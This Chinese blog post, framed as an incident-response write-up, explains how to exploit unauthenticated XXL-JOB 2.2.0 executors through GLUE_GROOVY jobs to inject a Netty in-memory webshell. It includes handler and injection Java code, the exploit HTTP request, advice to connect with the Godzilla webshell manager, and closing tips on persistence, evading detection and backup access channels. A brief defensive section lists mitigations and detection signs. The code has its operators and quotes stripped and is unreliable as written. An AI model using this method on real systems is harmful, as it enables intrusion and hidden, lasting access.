当XXL-JOB 2.2.0遇上不出网:一次应急响应中利用GLUE_GROOVY打入内存马的实战复盘
XXL-JOB 2.2.0不出网环境下的应急响应实战利用GLUE_GROOVY注入内存马的技术解析在真实的应急响应场景中我们常常会遇到目标系统存在网络隔离的特殊情况。这种不出网环境使得传统的反弹Shell技术失效对安全工程师提出了更高要求。本文将深入剖析一个典型场景当发现XXL-JOB 2.2.0存在未授权漏洞但目标服务器无法出网时如何通过GLUE_GROOVY特性注入Netty内存马的技术方案。1. 漏洞环境分析与技术选型XXL-JOB作为广泛使用的分布式任务调度平台其2.2.0及以下版本的executor端存在未授权访问漏洞。常规利用方式是通过GLUE_SHELL执行系统命令并反弹Shell但在网络隔离环境下这一路径完全失效。通过对XXL-JOB架构的深入分析我们发现其支持多种脚本语言的动态执行其中GLUE_GROOVY类型允许直接执行Java代码。这为我们提供了在不出网环境下实现权限获取的技术突破口// XXL-JOB支持的脚本类型枚举 GLUE_GROOVY(GLUE(Java), false, null, null), GLUE_SHELL(GLUE(Shell), true, bash, .sh), GLUE_PYTHON(GLUE(Python), true, python, .py)关键区别在于传统方式GLUE_SHELL → 系统命令执行 → 反弹Shell依赖出网新思路GLUE_GROOVY → Java代码执行 → 内存马注入不依赖出网2. 内存马的设计与实现2.1 Netty框架下的内存马原理XXL-JOB的executor端使用Netty框架处理HTTP请求这为内存马注入提供了理想的环境。我们设计的NettyThreadHandler核心功能包括请求拦截通过channelRead方法捕获特定路径的HTTP请求动态类加载使用URLClassLoader实现恶意类的运行时加载加密通信采用AES加密传输的payload规避基础检测public class NettyThreadHandler extends ChannelDuplexHandler { private static Class payload; private static Class defClass(byte[] classbytes) throws Exception { URLClassLoader urlClassLoader new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); Method method ClassLoader.class.getDeclaredMethod(defineClass, byte[].class, int.class, int.class); method.setAccessible(true); return (Class) method.invoke(urlClassLoader, classbytes, 0, classbytes.length); } Override public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { if(((HttpRequest)msg).uri().contains(netty_memshell)) { // 请求处理逻辑 } } }2.2 内存马注入流程完整的注入过程分为三个关键阶段线程遍历定位Netty的NioEventLoopGroup工作线程处理器替换修改ChannelPipeline的handler配置持久化维持确保内存马在请求处理后仍然存活public ReturnTString execute(String param) throws Exception { ThreadGroup group Thread.currentThread().getThreadGroup(); Field threads group.getClass().getDeclaredField(threads); threads.setAccessible(true); Thread[] allThreads (Thread[]) threads.get(group); for (Thread thread : allThreads) { if (thread ! null thread.getName().contains(nioEventLoopGroup)) { // 反射修改Netty处理器 Object pipeline getFieldValue(getFieldValue(keys, attachment), pipeline); setFieldValue(embedHttpServerHandler, childHandler, new ChannelInitializerSocketChannel() { Override public void initChannel(SocketChannel channel) throws Exception { channel.pipeline() .addLast(new NettyThreadHandler()); } }); } } return ReturnT.SUCCESS; }3. 漏洞利用实战步骤3.1 构造并发送恶意请求使用Burp Suite等工具构造特殊的POST请求关键参数设置如下POST /run HTTP/1.1 Host: target:9999 Content-Type: application/json { jobId: 1, glueType: GLUE_GROOVY, glueSource: package com.xxl.job...完整类代码... }3.2 内存马连接与管理成功注入后内存马会监听特定路径如/netty_memshell的请求。连接时需要注意通信加密所有数据传输使用AES加密会话维持默认30秒无通信会断开连接命令执行通过POST请求体发送待执行的指令提示建议使用成熟的WebShell管理工具如哥斯拉进行连接可自动处理加密通信和会话维持3.3 应急响应中的证据固定获取权限后应立即固定关键证据数据库导出XXL-JOB的任务日志和用户信息通常存储在MySQL中进程快照保存当前Java进程的内存dump文件备份保存被修改的配置文件和任务脚本# 数据库导出示例 mysqldump -u root -proot_pwd xxl_job xxl_job_backup.sql4. 防御建议与检测方案4.1 防护措施针对此类攻击建议采取以下防护策略防护层面具体措施实施难度访问控制为executor配置认证机制低网络隔离限制executor端口的访问IP中版本升级升级到XXL-JOB 2.3.0高运行时防护部署RASP检测异常类加载中4.2 攻击检测在应急响应中可通过以下指标发现内存马活动异常HTTP处理器检查Netty的ChannelPipeline是否存在未知Handler反射调用监控关注ClassLoader.defineClass的调用栈线程行为分析监控NioEventLoop线程的异常行为// 检测示例扫描Netty的pipeline SetChannelHandler handlers channel.pipeline().names().stream() .map(name - channel.pipeline().get(name)) .collect(Collectors.toSet());5. 技术延伸与思考这种不出网环境下的攻击方式展现了Java生态特有的攻击面。相比传统WebShell内存马具有以下优势无文件落地不写入磁盘规避常规文件监控高隐蔽性存在于应用内存中常规进程检查难以发现动态卸载重启应用即清除但也意味着需要持久化机制在实际应急中我们还需要考虑内存马的持久化通过注册Filter、Servlet等方式实现存活对抗检测使用更隐蔽的类加载方式和通信模式权限维持在清理后建立多个备用访问通道